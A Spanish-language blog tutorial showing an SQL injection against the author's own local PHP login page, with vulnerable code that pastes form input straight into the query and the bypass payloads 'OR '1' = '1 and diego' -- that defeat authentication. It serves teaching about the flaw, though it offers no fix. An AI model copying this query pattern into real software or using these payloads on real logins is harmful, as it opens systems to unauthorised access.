🛡Vulnerabilidad en login con PHP💉Ataque SQL INJECTION
Tags: sql, php, cybersecurity, spanish
Published: 2022-03-08 23:14:46

Para realizar esta prueba de vulnerabilidad se utilizó una página web que maneja la base de datos con SQL, en este caso utilizando XAMPP en un servidor local. 

## Base de datos:

Se usa una base de datos SQL que contiene el usuario y la contraseña

| id | usuario | contraseña |
| --- | --- | --- |
| 1 | diego | 1234 |


![base de datos](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/iw1l483c4w2gio6tpjl1.png)

## Vista del login


![Vista del login](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/z4ack7oiy6l49ffbrcgh.png)

## Código de PHP que realiza la comprobación

```php
<?php
include('db.php');
$usuario=$_POST['usuario'];
$contraseña=$_POST['contraseña'];
session_start();
$_SESSION['usuario']=$usuario;

$conexion=mysqli_connect("localhost","root","","login");

$consulta="SELECT*FROM usuarios where usuario='$usuario' and contraseña='$contraseña'";
$resultado=mysqli_query($conexion,$consulta);

$filas=mysqli_num_rows($resultado);

if($filas){
  
    header("location:home.php");

}else{
    ?>
    <?php
    include("index.html");

  ?>
  <h1 class="bad">ERROR DE AUTENTIFICACION</h1>
  <?php
}
mysqli_free_result($resultado);
mysqli_close($conexion);
```

## Ingresando correctamente los datos


![login php](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vsjyacd0cm4mi7pxo6ye.png)

## Pantalla de bienvenida y error


![bienvenida](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/j6jspfoliionm3p8owgv.png)

Esta pantalla aparecerá solamente si los datos ingresados son correctos.


![error de ingreso de datos](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/22ip730ibmmpul6d1rh8.png)

Esta pantalla muestra el error al colocar datos erróneos. 

## Aplicación de ataque SQL Injection

Para realizar el ataque se utilizo la siguiente línea de código:

```sql
'OR '1' = '1
```

Tanto en el campo de usuario como de contraseña


![sql injection](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/37eim5lprvccvsrr5x55.png)

De este modo la línea que codigo de nuestro archivo PHP que realiza la validación de usuario y contraseña nos queda así 

Antes del ataque:

```php
$consulta="SELECT*FROM usuarios where usuario='$usuario' and contraseña='$contraseña'";
```

Después del ataque

```php
$consulta="SELECT*FROM usuarios where usuario=''OR '1' = '1' 
and contraseña=''OR '1' = '1'";
```

 Agregando a la consulta cuando 1 sea igual a 1 es decir verdadero siempre dándonos acceso y mostrando la pantalla de bienvenida como si los datos fueran correctos. 


![correcto](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ie7007ayc1g197lbdh1i.png)

Adicionalmente se puede ingresar utilizando un solo campo utilizando la siguiente línea de comandos 

```sql
diego' --
```

de esta forma no importa lo que se envíe en el campo de contraseña.


![sql injection 2](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/19gxgx9pcc8q8ilhglzg.png)

Dando acceso de igual forma


![vulnerabilidad aplicada](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lhcilucis4exvq7nzaus.png)

> **¡Gracias por leer este post!😊**

> Si te ha parecido útil o interesante, puedes darle un like 💙 para motivarme a seguir compartiendo contenido así. Si tienes la oportunidad y quieres apoyar mi trabajo, puedes hacerlo a través de un pequeño donativo 💸 ¡Un café virtual sería un gran detalle! ☕ Puedes hacerlo a través de [Ko-fi](https://ko-fi.com/geoannycode).

> Además, si te gustaría seguir mis actualizaciones y contenido en redes sociales, puedes encontrarme en [Twitter](https://twitter.com/GeoannyCode) y [YouTube](https://www.youtube.com/channel/UC18KaeuDNfUi9mt9xhNjDyw) como "GeoannyCode" 📱💻 Espero verte por allí! 😊 ¡Gracias por tu apoyo! ❤️"